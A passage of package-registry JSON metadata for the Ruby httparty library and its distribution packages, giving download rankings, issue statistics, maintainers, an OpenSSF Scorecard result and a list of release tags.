ount":46.781949801970555,"dependent_packages_count":15.705942029816185,"stargazers_count":0.17997260289675648,"forks_count":0.38860326357962066,"average":25.8531503525327},"purl":"pkg:gem/dkastner-httparty","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/rubygems/dkastner-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/rubygems/dkastner-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/rubygems/dkastner-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":{"last_synced_at":"2026-04-23T16:06:51.925Z","issues_count":69,"pull_requests_count":109,"avg_time_to_close_issue":20359214.911111113,"avg_time_to_close_pull_request":34382867.37755102,"issues_closed_count":45,"pull_requests_closed_count":98,"pull_request_authors_count":59,"issue_authors_count":69,"avg_comments_per_issue":3.5942028985507246,"avg_comments_per_pull_request":1.6697247706422018,"merged_pull_requests_count":63,"bot_issues_count":0,"bot_pull_requests_count":4,"past_year_issues_count":7,"past_year_pull_requests_count":17,"past_year_avg_time_to_close_issue":4007655.5,"past_year_avg_time_to_close_pull_request":1195047.7272727273,"past_year_issues_closed_count":4,"past_year_pull_requests_closed_count":11,"past_year_pull_request_authors_count":11,"past_year_issue_authors_count":7,"past_year_avg_comments_per_issue":2.2857142857142856,"past_year_avg_comments_per_pull_request":1.5294117647058825,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":2,"past_year_merged_pull_requests_count":8,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/issues","maintainers":[{"login":"TheSmartnik","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/TheSmartnik"},{"login":"jnunemaker","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}],"active_maintainers":[{"login":"jnunemaker","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jnunemaker"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/dkastner-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/dkastner-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/dkastner-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/dkastner-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages/dkastner-httparty/codemeta","maintainers":[{"uuid":"15298","login":"dkastner","name":null,"email":null,"url":null,"packages_count":61,"html_url":"https://rubygems.org/profiles/dkastner","role":null,"created_at":"2022-11-08T09:24:22.565Z","updated_at":"2022-11-08T09:24:22.565Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers/dkastner/packages"}],"registry":{"name":"rubygems.org","url":"https://rubygems.org","ecosystem":"rubygems","default":true,"packages_count":205536,"maintainers_count":68468,"namespaces_count":0,"keywords_count":0,"github":"rubygems","metadata":{"funded_packages_count":7260},"icon_url":"https://github.com/rubygems.png","created_at":"2022-04-04T15:19:23.446Z","updated_at":"2026-04-03T06:42:17.024Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/rubygems.org/namespaces"}},{"id":13406768,"name":"ruby-httparty","ecosystem":"ubuntu","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["universe/misc"],"namespace":"universe","versions_count":1,"first_release_published_at":"2026-02-06T15:21:44.028Z","latest_release_published_at":"2026-02-06T15:21:44.028Z","latest_release_number":"0.21.0-1","last_synced_at":"2026-03-06T16:00:09.300Z","created_at":"2026-02-06T15:21:38.327Z","updated_at":"2026-03-06T16:04:35.110Z","registry_url":"https://launchpad.net/ubuntu/+source/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":null,"metadata":{"component":"universe","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-mini-mime (\u003e= 1.0.0), ruby-multi-xml (\u003e= 0.5.2), ruby-rspec, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-11T15:19:08.544Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/ubuntu/ruby-httparty?arch=source\u0026distro=ubuntu-24.04","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/ubuntu/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/ubuntu/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/ubuntu/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"ubuntu-24.04","url":"https://launchpad.net/ubuntu/noble","ecosystem":"ubuntu","default":true,"packages_count":37306,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"ubuntu","metadata":{"codename":"noble"},"icon_url":"https://github.com/ubuntu.png","created_at":"2026-02-04T11:01:45.928Z","updated_at":"2026-04-27T18:20:35.701Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/ubuntu-24.04/namespaces"}},{"id":13669025,"name":"ruby-httparty","ecosystem":"debian","description":null,"homepage":"https://github.com/jnunemaker/httparty","licenses":null,"normalized_licenses":[],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":["misc"],"namespace":"main","versions_count":1,"first_release_published_at":"2026-02-12T12:27:07.809Z","latest_release_published_at":"2026-02-12T12:27:07.809Z","latest_release_number":"0.21.0-1","last_synced_at":"2026-03-14T18:09:47.145Z","created_at":"2026-02-12T12:27:07.632Z","updated_at":"2026-03-14T18:09:47.146Z","registry_url":"https://tracker.debian.org/pkg/ruby-httparty","install_command":"apt-get install ruby-httparty","documentation_url":"https://packages.debian.org/trixie/ruby-httparty","metadata":{"component":"main","architecture":"all","priority":"optional","binary":"ruby-httparty","standards_version":"4.6.2","maintainer":"Debian Ruby Team \u003cpkg-ruby-extras-maintainers@lists.alioth.debian.org\u003e","build_depends":"debhelper-compat (= 13), gem2deb (\u003e= 1), rake, ruby, help2man, ruby-mini-mime (\u003e= 1.0.0), ruby-multi-xml (\u003e= 0.5.2), ruby-rspec, ruby-webmock","build_depends_indep":null,"build_depends_arch":null},"repo_metadata":{},"repo_metadata_updated_at":"2026-02-12T12:27:08.390Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{"downloads":null,"dependent_repos_count":0.0,"dependent_packages_count":0.0,"stargazers_count":null,"forks_count":null,"docker_downloads_count":null,"average":100},"purl":"pkg:deb/debian/ruby-httparty?arch=source\u0026distro=debian-13\u0026repository_url=https://packages.debian.org/trixie","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/debian/ruby-httparty","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/debian/ruby-httparty","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/debian/ruby-httparty/dependencies","status":null,"funding_links":[],"critical":null,"issue_metadata":null,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-httparty/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-httparty/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-httparty/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-httparty/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages/ruby-httparty/codemeta","maintainers":[],"registry":{"name":"debian-13","url":"https://packages.debian.org/trixie","ecosystem":"debian","default":false,"packages_count":38024,"maintainers_count":0,"namespaces_count":4,"keywords_count":0,"github":"debian","metadata":{"codename":"trixie"},"icon_url":"https://github.com/debian.png","created_at":"2026-02-04T11:01:50.448Z","updated_at":"2026-04-27T18:20:39.853Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/debian-13/namespaces"}},{"id":7413475,"name":"github.com/jnunemaker/httparty","ecosystem":"go","description":null,"homepage":null,"licenses":"mit","normalized_licenses":["MIT"],"repository_url":"https://github.com/jnunemaker/httparty","keywords_array":[],"namespace":"github.com/jnunemaker","versions_count":63,"first_release_published_at":"2009-09-13T03:14:01.000Z","latest_release_published_at":"2026-01-14T22:53:56.000Z","latest_release_number":"v0.24.2","last_synced_at":"2026-04-27T18:03:14.242Z","created_at":"2023-04-06T01:57:42.051Z","updated_at":"2026-04-27T18:03:14.242Z","registry_url":"https://pkg.go.dev/github.com/jnunemaker/httparty","install_command":"go get github.com/jnunemaker/httparty","documentation_url":"https://pkg.go.dev/github.com/jnunemaker/httparty#section-documentation","metadata":{},"repo_metadata":{"id":418269,"uuid":"37997","full_name":"jnunemaker/httparty","owner":"jnunemaker","description":":tada: Makes http fun again!","archived":false,"fork":false,"pushed_at":"2025-10-08T12:54:09.000Z","size":1587,"stargazers_count":5882,"open_issues_count":42,"forks_count":965,"subscribers_count":59,"default_branch":"main","last_synced_at":"2025-11-01T03:01:59.764Z","etag":null,"topics":["http","httparty","ruby"],"latest_commit_sha":null,"homepage":"","language":"Ruby","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/jnunemaker.png","metadata":{"files":{"readme":"README.md","changelog":"Changelog.md","contributing":"CONTRIBUTING.md","funding":null,"license":"MIT-LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"dco":null,"cla":null}},"created_at":"2008-07-28T20:55:11.000Z","updated_at":"2025-10-30T18:49:40.000Z","dependencies_parsed_at":"2023-07-05T15:01:32.444Z","dependency_job_id":"e97df6bb-8152-4d3d-82ab-29899535444e","html_url":"https://github.com/jnunemaker/httparty","commit_stats":{"total_commits":1051,"total_committers":254,"mean_commits":4.137795275590551,"dds":0.6527117031398668,"last_synced_commit":"f0c42a7198c9357f0d95633e46512c92769f6476"},"previous_names":[],"tags_count":61,"template":false,"template_full_name":null,"purl":"pkg:github/jnunemaker/httparty","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/sbom","scorecard":{"id":274025,"data":{"date":"2025-08-11","repo":{"name":"github.com/jnunemaker/httparty","commit":"bcc3e50c0a0b0259a201caa390875081b6c72a89"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":3.8,"checks":[{"name":"Code-Review","score":2,"reason":"Found 6/26 approved changesets -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":2,"reason":"2 commit(s) and 1 issue activity found in the last 90 days -- score normalized to 2","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/ci.yml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/ci.yml:17: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/ci.yml:19: update your workflow using https://app.stepsecurity.io/secureworkflow/jnunemaker/httparty/ci.yml/main?enable=pin","Info:   0 out of   1 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of   1 third-party GitHubAction dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"Vulnerabilities","score":10,"reason":"0 existing vulnerabilities detected","details":null,"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: MIT-LICENSE:0","Info: FSF or OSI recognized license: MIT License: MIT-LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Signed-Releases","score":-1,"reason":"no releases found","details":null,"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Branch-Protection","score":0,"reason":"branch protection not enabled on development/release branches","details":["Warn: branch protection not enabled for branch 'main'"],"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"SAST","score":0,"reason":"SAST tool is not run on all commits -- score normalized to 0","details":["Warn: 0 commits out of 11 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-17T14:02:06.521Z","repository_id":418269,"created_at":"2025-08-17T14:02:06.521Z","updated_at":"2025-08-17T14:02:06.521Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":282089936,"owners_count":26612408,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","status":"online","status_checked_at":"2025-11-01T02:00:06.759Z","response_time":61,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"jnunemaker","name":"John Nunemaker","uuid":"235","kind":"user","description":"Programmer.","email":"","website":"http://johnnunemaker.com","location":"US","twitter":"jnunemaker","company":"@fewerandfaster and @boxoutsports ","icon_url":"https://avatars.githubusercontent.com/u/235?u=34ccc0c78404a1a5fed94fd9329345621da530fb\u0026v=4","repositories_count":74,"last_synced_at":"2023-04-09T03:48:45.004Z","metadata":{"has_sponsors_listing":false},"html_url":"https://github.com/jnunemaker","funding_links":[],"total_stars":9248,"followers":null,"following":null,"created_at":"2022-11-02T16:17:19.724Z","updated_at":"2024-03-25T17:25:34.595Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/jnunemaker/repositories"},"tags":[{"name":"v0.23.2","sha":"c74571f7925c8e142d02c2b7d6ebeedf923b1dd1","kind":"commit","published_at":"2025-10-07T21:53:15.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.2/manifests"},{"name":"v0.23.1","sha":"9417ce158d732fecc753c656accb59c470cfb6f8","kind":"commit","published_at":"2025-03-28T18:28:40.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.1/manifests"},{"name":"v0.23.0","sha":"891a4a8093afd4cacecab2719223e3170d07f1c0","kind":"commit","published_at":"2025-03-27T14:45:51.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.23.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.23.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.23.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.23.0/manifests"},{"name":"v0.22.0","sha":"6e1f154309a6076208ba9bec8e4183ec619541e0","kind":"commit","published_at":"2024-04-29T12:26:07.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.22.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.22.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.22.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.22.0/manifests"},{"name":"v0.21.0","sha":"e731057ebc297eb8a750e866b7762e869dea3087","kind":"commit","published_at":"2022-12-30T21:05:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.21.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.21.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.21.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.21.0/manifests"},{"name":"v0.20.0","sha":"32c57d91581fd91cf1ed429c24cf410528934a9c","kind":"commit","published_at":"2021-09-29T13:04:39.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.20.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.20.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.20.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.20.0/manifests"},{"name":"v0.19.1","sha":"0d20a4f8225a653ab306d4994cf737e4fdf2b7d4","kind":"commit","published_at":"2021-09-29T12:39:12.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.1/manifests"},{"name":"v0.19.0","sha":"b4213368675a8dd7f45e443fd9b8c3f7edb1eee1","kind":"commit","published_at":"2021-09-09T14:57:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.19.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.19.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.19.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.19.0/manifests"},{"name":"v0.18.1","sha":"0e8b82730a143c07c919bb8773f017338f637016","kind":"commit","published_at":"2020-06-10T18:40:13.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.1/manifests"},{"name":"v0.18.0","sha":"b4aba417a502342b1f6940c711e155b8eb8c3951","kind":"commit","published_at":"2020-02-19T16:09:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.18.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.18.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.18.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.18.0/manifests"},{"name":"v0.17.3","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.3","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.3/manifests"},{"name":"v0","sha":"689e64bb2db0ad454b89519ecd5e2fcfee74c90c","kind":"commit","published_at":"2019-12-16T14:40:57.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0/manifests"},{"name":"v0.17.2","sha":"aec466f984fc178257efffcc922c0c559baea5ae","kind":"commit","published_at":"2019-12-16T11:30:36.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.2","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.2/manifests"},{"name":"v0.17.1","sha":"47c8b2529b999e74bdc5fa80537dfe96276deec2","kind":"commit","published_at":"2019-08-30T16:11:48.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.1","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.1/manifests"},{"name":"v0.17.0","sha":"b4099defba01231d2faaaa2660476f867e096bfb","kind":"commit","published_at":"2019-04-20T14:07:45.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.17.0","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.17.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jnunemaker/httparty@v0.17.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jnunemaker%2Fhttparty/tags/v0.17.0/manifests"},{"name":"v0.16.4","sha":"7b2ad805a5bcc80dc4b06b542dd6de161e5cd95b","kind":"commit","published_at":"2019-02-05T15:39:33.000Z","download_url":"https://codeload.github.com/jnunemaker/httparty/tar.gz/v0.16.4","html_url":"https://github.com/jnunemaker/httparty/releases/tag/v0.16.4","dependencies_parsed_at":n